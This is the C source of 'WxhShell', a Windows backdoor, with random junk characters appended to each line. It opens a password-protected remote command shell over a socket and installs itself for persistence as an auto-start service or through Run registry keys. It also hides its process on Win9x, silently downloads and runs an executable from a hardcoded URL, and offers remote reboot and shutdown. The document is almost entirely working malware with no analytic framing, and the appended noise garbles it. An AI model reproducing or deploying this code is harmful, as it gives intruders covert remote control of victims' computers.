    closesocket(wsh); #IDDKUE  
    ExitThread(0); @I2m4Q{O  
    } LyhLPU0^q  
    break; -@b&qi7&S  
    } %;(+s7  
  // 获取shell W@GcE;#-  
  case 's': { N+rLbK*  
    CmdShell(wsh); ^2[0cne  
    closesocket(wsh); U5jY/e_  
    ExitThread(0); 6*Qn9Q%p-  
    break; 1b+ B  
  } HNxJ`x~Z~  
  // 退出 0|9(oP/:  
  case 'x': { ELeR5xT  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); <1.].A@b*  
    CloseIt(wsh); ])!|b2:s3  
    break; u`$,S& Er  
    } %?J\P@  
  // 离开 6C9KT;6  
  case 'q': { Z%\9y]zs  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); dt{ |bQLu3  
    closesocket(wsh); <~!7?ak  
    WSACleanup(); Pk T&zSQA  
    exit(1); Ne,7[k  
    break; i)Vqvb0Q  
        } b{)9 ?%_  
  } Hq8<g$  
  } zh2$U dZ|M  
\/$T 3f`x  
  // 提示信息 ptQr8[FA  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =\e}fyuK  
} 2w)0>Y(_  
  } BoG/Hd.S  
Mcj4GjV6:"  
  return; b[$%Wg  
} g3 6oEz~|  
w~afQA>  
// shell模块句柄 k{Vc5F  
int CmdShell(SOCKET sock) `0 uKJF g  
{ a8rsF  
STARTUPINFO si; Qzw~\KY:  
ZeroMemory(&si,sizeof(si)); "Y }f"X|  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?t$sju(\  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; X?z5IL;rt  
PROCESS_INFORMATION ProcessInfo; zLc.4k  
char cmdline[]="cmd"; 1GN>,Lb: o  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); [bUM x  
  return 0; LN ]ks)  
} +2O('}t  
m <IPi <  
// 自身启动模式 l <<0:~+q  
int StartFromService(void) %h=)>5-T  
{ kX zm  
typedef struct  g2L  
{ AT}}RE@vq  
  DWORD ExitStatus; A3*ti!X<6  
  DWORD PebBaseAddress; /p~"?9b[ i  
  DWORD AffinityMask; w5gN8ZF3  
  DWORD BasePriority; 6%H8Q v  
  ULONG UniqueProcessId; ,w; ~R4x  
  ULONG InheritedFromUniqueProcessId; VQU[5C  
}   PROCESS_BASIC_INFORMATION; C6,GgDH`  
p18-yt; 1  
PROCNTQSIP NtQueryInformationProcess; D-9zg\\'`  
{/uBZ(   
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; W:O<9ZbQ_  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ~:b bV6YO  
D QP#h5O  
  HANDLE             hProcess; 2!\y0*}K  
  PROCESS_BASIC_INFORMATION pbi; >&TSz5Q  
wXPNfV<(2  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); FXV=D_G}  
  if(NULL == hInst ) return 0; bM;yXgorU  
q -M&f@Il  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); >"jV8%!sM  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); /*`BGNkYY  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ~"\sL;B  
Ziu f<X{  
  if (!NtQueryInformationProcess) return 0; nQdNXv<(  
k(C?6Gfj  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); '!Ps4ZTn_  
  if(!hProcess) return 0; T~cq=i|O  
MVg`6&oH  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; >hoIJZP,  
X_C9Z  
  CloseHandle(hProcess); ;_amgRP7$  
N#@xo)-H  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 8A"[n>931  
if(hProcess==NULL) return 0; DBAJkBs  
ih.UzPg  
HMODULE hMod; z{d],M  
char procName[255]; T?!^-PD9*  
unsigned long cbNeeded; ehtiu!Vk  
(M4~N)7<P5  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); x5v^@_: jr  
*h1Zqb  
  CloseHandle(hProcess); WGN[`D"  
pu=T pSZ  
if(strstr(procName,"services")) return 1; // 以服务启动 %56pP"w  
H. uflO  
  return 0; // 注册表启动 hghtF  
} B, xrZs  
L$zT`1Hy  
// 主模块 <Xm5re.  
int StartWxhshell(LPSTR lpCmdLine) Oh6;o1UI  
{ "8ILV`[  
  SOCKET wsl; '[-gK n  
BOOL val=TRUE; AJ2Xq*fk  
  int port=0; B h@R9O<  
  struct sockaddr_in door; ?4Lb*{R  
[@kzC/Jq3  
  if(wscfg.ws_autoins) Install(); 0(Y$xg  
~^lQ[x  
port=atoi(lpCmdLine); ?*u)T%S  
($E(^p% O  
if(port<=0) port=wscfg.ws_port; FRF3V>  
)~_!u}+:(  
  WSADATA data; WEqHL,Uh]  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; $qD8vu )|j  
q?[{fcNh$  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   d%1S6eYa'  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); b;]'Bo0K  
  door.sin_family = AF_INET; %83PbH  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); u9:;ft{}N  
  door.sin_port = htons(port); 1]A%lud4  
$Bz|[=  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { JnhHV(H  
closesocket(wsl); +6*oO|   
return 1; lk \|EG  
} 6ecr]=Cv  
j_&/^-;e  
  if(listen(wsl,2) == INVALID_SOCKET) { TcZ Ci^1F  
closesocket(wsl); 1KruGq~  
return 1; -2v|d]3qG  
}  ^wb -s  
  Wxhshell(wsl); si=/=h  
  WSACleanup(); \>cZ=  
9XT6Gf56  
return 0; `>?\MWyu  
]SBv3Q0D7  
} 3Aaj+=]W  
N TXT0:  
// 以NT服务方式启动 ;&W N%L*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) { YJ.BWr  
{ Xu3^tH-b<  
DWORD   status = 0; _M:)x0("  
  DWORD   specificError = 0xfffffff; ?Y ) Qy,  
< t>N(e  
  serviceStatus.dwServiceType     = SERVICE_WIN32; uWx/V+w  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; PHfGl  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; aC]~   
  serviceStatus.dwWin32ExitCode     = 0; ?P<&8eY  
  serviceStatus.dwServiceSpecificExitCode = 0; )pr pG !  
  serviceStatus.dwCheckPoint       = 0; Vt n$*ML  
  serviceStatus.dwWaitHint       = 0; ;Zj Qy,H%  
RduA0@g0  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); (d^pYPr{  
  if (hServiceStatusHandle==0) return; ~S|Vd  
CEYHD?9k8  
status = GetLastError(); m%ET!+  
  if (status!=NO_ERROR) &lBfW$PZjk  
{ |xQj2?_z*  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; v6s8 p  
    serviceStatus.dwCheckPoint       = 0; Zx}=c4I(y  
    serviceStatus.dwWaitHint       = 0; zZDG5_$n  
    serviceStatus.dwWin32ExitCode     = status; VQPq+78  
    serviceStatus.dwServiceSpecificExitCode = specificError; w#Nn(!VR  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~Ufcy{x#  
    return; &_" 3~:N8k  
  } &HFMF)NA  
#%k5s?cP@  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; t=XiSj\n  
  serviceStatus.dwCheckPoint       = 0; l3-Ksw U  
  serviceStatus.dwWaitHint       = 0; Fj1/B0acS  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); '(2G qX!  
} |+!Jr_ By  
4DuZF -y  
// 处理NT服务事件,比如:启动、停止 tjDVU7um  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ed{z^!w4  
{ }5Y.N7F  
switch(fdwControl) &`@,mUi{Ac  
{ 1(q!.lPc  
case SERVICE_CONTROL_STOP: H1 \~T  
  serviceStatus.dwWin32ExitCode = 0; >%#J8  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; deHBY4@  
  serviceStatus.dwCheckPoint   = 0; ywq{9)vq  
  serviceStatus.dwWaitHint     = 0; Esw&ScBOP  
  { {:6VJ0s\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Vy}:Q[  
  } w/YKWv{_S  
  return; ]lz,?izMR  
case SERVICE_CONTROL_PAUSE: >:OOuf#  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; YI%7#L7C  
  break; Oq+C<}eg  
case SERVICE_CONTROL_CONTINUE: V_+3@C  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; %3xH<$Gq5  
  break; v{JCEb&wN  
case SERVICE_CONTROL_INTERROGATE: .]r[0U  
  break; _ esFx  
}; aMv  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'd(}bYr)  
} cB -XmX/  
*ArzXhs[  
// 标准应用程序主函数 jy&p_v1  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Fi7pq2  
{ ANT^&NjJ7  
Jb ;el*,K  
// 获取操作系统版本 >^<qke  
OsIsNt=GetOsVer(); '?3Hy|}  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 3D<P [.bS  
2jx""{  
  // 从命令行安装 /^4)V8D_S  
  if(strpbrk(lpCmdLine,"iI")) Install(); 4`Fbl]Q   
%}j/G l5  
  // 下载执行文件 [c>X Q  
if(wscfg.ws_downexe) { Onot<}K  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) *:YW@Gbm  
  WinExec(wscfg.ws_filenam,SW_HIDE); SvI  
}  zKT \i  
N66jFRA;x  
if(!OsIsNt) { x!I7vs~~zW  
// 如果时win9x,隐藏进程并且设置为注册表启动  |2n2  
HideProc(); >{m>&u;Cc  
StartWxhshell(lpCmdLine); 0Fbq/63  
} rTmcP23]  
else @Ki`g(],P  
  if(StartFromService()) G4g },p!  
  // 以服务方式启动 bzUc;&WDz  
  StartServiceCtrlDispatcher(DispatchTable); YJ3970c/M  
else T*YdGIFO  
  // 普通方式启动 l8^^ O   
  StartWxhshell(lpCmdLine); Q8\Ks|u]  
NiWooFPKJ  
return 0; RCxqqUS\C  
} Oh8;YE-%  
f, ;sEV  
anl?4q3;9  
k U3] eh\I  
=========================================== bz}T}nj  
iT.hXzPzr*  
-O(.J'=8  
j5$Sm  
=3 -G  
F'SOl*v(s5  
"  61gZZM  
V]vk9M2q[l  
#include <stdio.h> kP [ Y  
#include <string.h> 4AP<mo  
#include <windows.h> :=~([oSNW"  
#include <winsock2.h> r-'j#|^tz  
#include <winsvc.h> Cs*u{O  
#include <urlmon.h> {BKI8vy  
:j9;P7&"?  
#pragma comment (lib, "Ws2_32.lib") qPzgGbmD9  
#pragma comment (lib, "urlmon.lib") *B3` #t  
z&-3H/   
#define MAX_USER   100 // 最大客户端连接数 @x{;a9y  
#define BUF_SOCK   200 // sock buffer "]JS,g {m  
#define KEY_BUFF   255 // 输入 buffer C/]0jAAE7  
{H0B"i  
#define REBOOT     0   // 重启 Cu/w><h)  
#define SHUTDOWN   1   // 关机 u 4)i7  
#>>-:?X  
#define DEF_PORT   5000 // 监听端口 =&}dP%3LC)  
ZYL]|/"J9  
#define REG_LEN     16   // 注册表键长度 1lMU('r%  
#define SVC_LEN     80   // NT服务名长度 '9^x"U9c  
kA#>Xu/  
// 从dll定义API vk[Km[(U'  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); @$~%C) %u  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); jfgAI7;b  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); $vc:u6I[  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); JsiJ=zo<  
}|A%2!Q}  
// wxhshell配置信息 #kV= ;(lq  
struct WSCFG { %Xp}d5-  
  int ws_port;         // 监听端口 F!SmCE(0x  
  char ws_passstr[REG_LEN]; // 口令 gy*N)iv%  
  int ws_autoins;       // 安装标记, 1=yes 0=no (( t8  
  char ws_regname[REG_LEN]; // 注册表键名 t@!oc"z}@  
  char ws_svcname[REG_LEN]; // 服务名 HYpB]<F  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 8[zP2L!-  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ]1p&*xX:Bj  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 }hl# e[$  
int ws_downexe;       // 下载执行标记, 1=yes 0=no !@*Ac$J>$  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ]LP&v3  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 lDAw0 C3  
v}[7)oj|  
}; ot,<iE#za  
=\_MJ?A$  
// default Wxhshell configuration G]5'U"cj3  
struct WSCFG wscfg={DEF_PORT, !xa,[$w(^  
    "xuhuanlingzhe", <L5[#V_  
    1, %JiA,  
    "Wxhshell", Vl'|l)b4W  
    "Wxhshell", ZM4q@O)/  
            "WxhShell Service", B23R9.FK  
    "Wrsky Windows CmdShell Service", lm@<i4%$F  
    "Please Input Your Password: ", JY%c<  
  1, W~DY-;  
  "http://www.wrsky.com/wxhshell.exe", yNI} =Z  
  "Wxhshell.exe" xJZbax[  
    }; x~Pv  
^WM)UZEBC  
// 消息定义模块 h4.ZR={E  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ?M\3n5;  
char *msg_ws_prompt="\n\r? for help\n\r#>"; BIX%Bu0'f  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; )e{~x u  
char *msg_ws_ext="\n\rExit."; 6AzH'H F  
char *msg_ws_end="\n\rQuit."; uZW1 :cx  
char *msg_ws_boot="\n\rReboot...";  H\)on"  
char *msg_ws_poff="\n\rShutdown..."; Ym0Xl(Se  
char *msg_ws_down="\n\rSave to "; 6K* 7%8Y/G  
{)jQbAr(G  
char *msg_ws_err="\n\rErr!"; tQUp1i{j\  
char *msg_ws_ok="\n\rOK!"; G~YV6??  
Y_f6y 9?ZE  
char ExeFile[MAX_PATH]; yjN|PqtSV  
int nUser = 0; >mh:OJH45  
HANDLE handles[MAX_USER]; PsLuyGR.<  
int OsIsNt; =;c? 6{<1  
.cle^P  
SERVICE_STATUS       serviceStatus; )S>~h;  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; r#^X]  
[}d 3 u!  
// 函数声明 Ks!.$y:x  
int Install(void); !y?g$e`  
int Uninstall(void); A^o  
int DownloadFile(char *sURL, SOCKET wsh); L42C<  
int Boot(int flag); *gZ4Ub|O  
void HideProc(void); o),i2  
int GetOsVer(void); [O(78n$$  
int Wxhshell(SOCKET wsl); }&;0:hw%  
void TalkWithClient(void *cs); QJ pUk%Wj  
int CmdShell(SOCKET sock); .$S`J2Y  
int StartFromService(void); DhkzVp_  
int StartWxhshell(LPSTR lpCmdLine); d<: VoQM6M  
{v~&.|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 8a e]tX5$  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); \+S~N:@><k  
}%_x T  
// 数据结构和表定义 ?u 9) GJO[  
SERVICE_TABLE_ENTRY DispatchTable[] = J&Le*R'  
{ ;>|:I(l;  
{wscfg.ws_svcname, NTServiceMain}, ILTd*f  
{NULL, NULL} q4(&.Al\@  
}; _Z5l Nu  
uVOOw&q_  
// 自我安装 0.|tKetHq  
int Install(void) sDWX} NV  
{ _vvnxG!x&  
  char svExeFile[MAX_PATH]; (zye Ch  
  HKEY key; Y.jg }oV  
  strcpy(svExeFile,ExeFile); jw#'f%*  
ToDN^qE+  
// 如果是win9x系统,修改注册表设为自启动 s`GSc)AI  
if(!OsIsNt) { *F~"4g  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { nM)]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ){R_o5  
  RegCloseKey(key); ~D<o}ItRF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { K'n^, t  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  {EZ ;  
  RegCloseKey(key); ]@M$.msg@  
  return 0; -4Y}Y5 9\  
    } b*r1Jn"h  
  } Cl4y9|  
} vF3>nN(]  
else { mNm 8I8  
56&s'  
// 如果是NT以上系统,安装为系统服务 N;RZIg(x  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); T" 8>6a@}E  
if (schSCManager!=0) &=t$ AIu  
{ BI,K?D&W-  
  SC_HANDLE schService = CreateService &RpQ2*4n  
  ( A CJmy2  
  schSCManager, BJ~Q\Si6  
  wscfg.ws_svcname, =@V4V} ?  
  wscfg.ws_svcdisp, ~SP.&>Q>  
  SERVICE_ALL_ACCESS, t3v*P6  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , pg*'2AT  
  SERVICE_AUTO_START, #C4  
  SERVICE_ERROR_NORMAL, 0>VgO{X  
  svExeFile, k`2 K?9\  
  NULL, xWn.vSos  
  NULL, D-A#{e _  
  NULL, Hfm4  
  NULL, 7^as~5'&-  
  NULL W"VN2  
  ); 44RZk|U1J{  
  if (schService!=0) mmr>"`5.  
  { W{ @lt}  
  CloseServiceHandle(schService); S1E2E3  
  CloseServiceHandle(schSCManager); 3 +BPqhzf  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); x-CY G?-x  
  strcat(svExeFile,wscfg.ws_svcname); =<O{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 6i%LM`8GEk  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); a%Cq?HZ7  
  RegCloseKey(key); M1Od%nz3  
  return 0; )Qb1$%r.  
    } @l>\vs<  
  } M+)%gnq`u  
  CloseServiceHandle(schSCManager); %!p14c*J H  
} vy@;zrs  
} ^yH|k@y  
6bo,x  
return 1; : gv[X  
} c{rX7+bN  
zO9|s}J8q  
// 自我卸载 B58H7NH ;G  
int Uninstall(void) qPH]DabpI  
{ p0`Wci  
  HKEY key; \*!g0C 8 o  
"{qhk{  
if(!OsIsNt) { p^ 9QYR  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { wToz{!n  
  RegDeleteValue(key,wscfg.ws_regname); ~e,  
  RegCloseKey(key); (3{'GX2c  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =u${2=  
  RegDeleteValue(key,wscfg.ws_regname); #e+%;5\  
  RegCloseKey(key); &Mo=V4i>  
  return 0; d7$H})[^  
  } T* -*U /  
} Ai(M06P:h  
} 3,3{wGvHHW  
else { /=,^fCCN  
roj/GZAy"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 4h:Oo  
if (schSCManager!=0) G/2@ Mn-  
{ m*CIbkDsZ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); VGWqy4m  
  if (schService!=0) ,'={/)c<  
  { CH`4FR.-  
  if(DeleteService(schService)!=0) { B~u{Lv TE  
  CloseServiceHandle(schService); ElqHZ$a?  
  CloseServiceHandle(schSCManager); >^D"%Oj y  
  return 0; [M@i,d-;A  
  } >`'#4!}G5j  
  CloseServiceHandle(schService); ZV_mP'1*  
  } RvYew!n  
  CloseServiceHandle(schSCManager); 0wAZ9AxA{  
} ruB&&C6)v  
} sZ]O&Za~  
=qCVy:RL4  
return 1; (U/6~r'.L  
} ;9=9D{-4+  
mr E^D|  
// 从指定url下载文件 NAx( Qi3  
int DownloadFile(char *sURL, SOCKET wsh) iWGgt]RJ  
{ cS4e}\q,  
  HRESULT hr; ogip#$A}3  
char seps[]= "/"; o=q N+-N  
char *token; j)'V_@  
char *file; IC92lPM }  
char myURL[MAX_PATH]; _Dwn@{[(8  
char myFILE[MAX_PATH]; _+z@Qn?#6h  
$J=9$.4"  
strcpy(myURL,sURL); = fuF]yL%  
  token=strtok(myURL,seps); 7s<v06Wo  
  while(token!=NULL) ehO F@IA_  
  { D3;^!ln]D  
    file=token; Ibd7[A\  
  token=strtok(NULL,seps); W{1=O)w  
  } 0*B_$E06  
(.<Gde#  
GetCurrentDirectory(MAX_PATH,myFILE); X~]eQaJ  
strcat(myFILE, "\\"); rS>njG;R  
strcat(myFILE, file); 84e)huAs  
  send(wsh,myFILE,strlen(myFILE),0); u;h9Ra1  
send(wsh,"...",3,0); = Ky1v$<  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); P.&,nFIg3  
  if(hr==S_OK) !COaPrg  
return 0; ZKAIG=l&!  
else q fadsVp  
return 1; i.0}qS?  
i*9eU*i|H  
} o Ep\po1  
=QRLKo#_  
// 系统电源模块 H]}Iw5Z  
int Boot(int flag) 8 6?D  
{ eZI&d;i  
  HANDLE hToken; }P-9\*hlm  
  TOKEN_PRIVILEGES tkp; ,Y &Q,  
JQQD~J1)E  
  if(OsIsNt) { 1 (P >TH  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); +@usJkxul  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); XHlPjw  
    tkp.PrivilegeCount = 1; wgkh} b   
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Ju)2J?Xs5  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Il~ph9{JH  
if(flag==REBOOT) { 9)aXLM4Y  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Ocx=)WKdW  
  return 0; 9);a0}*5  
} _S2QY7/  
else { "MZVwl"E#  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ToDNBt.u{+  
  return 0; )nQpO"+M  
} Yt0 l'B%[u  
  } 9p>3k&S  
  else { *2=:(OK  
if(flag==REBOOT) { 2ai \("?  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) S>*i^If  
  return 0; i?4vdL8M  
} c .KpXY  
else { &P[eA u  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) AM'-(x|  
  return 0; -Ww'wH'2  
} :Oa|&.0l?  
} E-.M+[   
'S@h._q  
return 1; QmbD%kW`3  
} t+q:8HNh  
Q4CxtY  
// win9x进程隐藏模块 q:J,xC_sF(  
void HideProc(void) -UUP hGC  
{ @xSS`&b  
jP@H$$-=wH  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ylmf^G@JC  
  if ( hKernel != NULL ) Kn=P~,FaG3  
  { ;gK+AU  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); J --9VlC'  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); c5R58#XK=  
    FreeLibrary(hKernel); {j ${i  
  } t}_qtO7>  
[KVBT;q6  
return; ZfL\3Mn  
} <CzH'!FJN  
RfEmkb<9Z  
// 获取操作系统版本 =NH:/j^  
int GetOsVer(void) >[O @u4  
{ z)]_(zZ^  
  OSVERSIONINFO winfo; 7=Ew[MOmM  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); S=eY`,'#R  
  GetVersionEx(&winfo); ~Q>97%  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) $@}6P,mg  
  return 1; |a3)U%rUEQ  
  else )z2Tm4>iql  
  return 0; \96?OC dr  
} \iSaxwU_  
]\ sBl  
// 客户端句柄模块 h&NcN-["  
int Wxhshell(SOCKET wsl) `fY~Lv{4d_  
{ psgXJe$  
  SOCKET wsh; 6@ ToPbj4  
  struct sockaddr_in client; F>96]71 2  
  DWORD myID; qZ6P(5X  
w[~$.FM/  
  while(nUser<MAX_USER) najd~%?Rs  
{ v?-pAA)ht  
  int nSize=sizeof(client); m~(]\  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Rkw)IdB  
  if(wsh==INVALID_SOCKET) return 1; Y>R|Uf.o z  
}yK_2zak5i  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); A^bg*t,  
if(handles[nUser]==0) F4YCU$V  
  closesocket(wsh); j'X]bd'  
else Do=*bZ;A  
  nUser++; k .KN9=o  
  }  H.'MQ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); .FXq4who  
%_KNAuM  
  return 0; ;ZFn~!V  
} ZV,n-M =  
7K {/2k  
// 关闭 socket t /EB y"N#  
void CloseIt(SOCKET wsh) %kKe"$)0  
{ &owBmpz  
closesocket(wsh); _udH(NC  
nUser--; !3kyPoq+  
ExitThread(0); fS w00F{T  
} 5ok3q@1_]{  
CsQ}eW8uEf  
// 客户端请求句柄 n;xtUw6 \  
void TalkWithClient(void *cs) $s)G0/~W  
{ CLdLO u"  
2%rAf8=  
  SOCKET wsh=(SOCKET)cs; O5{ >k  
  char pwd[SVC_LEN]; O-U_Zx0zd  
  char cmd[KEY_BUFF]; [ 3]!*Cd  
char chr[1]; %a{cJ6P  
int i,j; w`CGDF\Oo  
e7{3:y|]d3  
  while (nUser < MAX_USER) { *jCXH<?R  
( T VzYm y  
if(wscfg.ws_passstr) { D?) "Z$  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =zK7`5  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); NMJ230?  
  //ZeroMemory(pwd,KEY_BUFF); I,_wt+O&j  
      i=0; ?Q]&d!U Cs  
  while(i<SVC_LEN) { 8N'`kd~6[  
q/6d^&  
  // 设置超时 hE/gul?|_  
  fd_set FdRead; >(<OhS(  
  struct timeval TimeOut; B&0-~o3WP  
  FD_ZERO(&FdRead); |F iL1_  
  FD_SET(wsh,&FdRead); i(a2FKLy  
  TimeOut.tv_sec=8; z5=&qo|f9l  
  TimeOut.tv_usec=0; Yih^ZTf]O?  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); xD8x1-  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); n,wLk./`  
dp&4G6Y<A  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Fm#4;'x5E  
  pwd=chr[0]; V2u^sy  
  if(chr[0]==0xd || chr[0]==0xa) { Y(m/E.h.~  
  pwd=0; 53=VIN]  
  break; \(cu<{=rU  
  } eg3zp gZ  
  i++; i jg'X#E  
    } $83TA> <a  
']Nw{}eS`  
  // 如果是非法用户,关闭 socket 3R !Mfz*  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); V/.Y]dN5  
} ([qw#!;w;  
D`o* OlU  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); >Yl?i&3n  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); '%. lY9D  
!}9k @=[  
while(1) { I%h9V([  
HH&`f3  
  ZeroMemory(cmd,KEY_BUFF); G)?VC^Q  
`9(TqcE  
      // 自动支持客户端 telnet标准   +w?RW^:Q=  
  j=0; 9F(<n  
  while(j<KEY_BUFF) { 2ZNTj u7h  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); yxf|Njo0  
  cmd[j]=chr[0]; ^*C8BzcH  
  if(chr[0]==0xa || chr[0]==0xd) { exiCy 1[+  
  cmd[j]=0; ' &^:@V  
  break; Eyxw.,rB/  
  } K=;z&E=<c  
  j++; a-MDZT<xA+  
    } 5)wz`OS  
w6F4o;<PR  
  // 下载文件 q=M!YWz  
  if(strstr(cmd,"http://")) { S#/[>Cb  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); jQFAlO(E':  
  if(DownloadFile(cmd,wsh)) * 8CI'UX  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); G +o)s  
  else m*6C *M  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +t({:>E  
  } :rnn`/L  
  else { fil'._  
Pn\ Lg8  
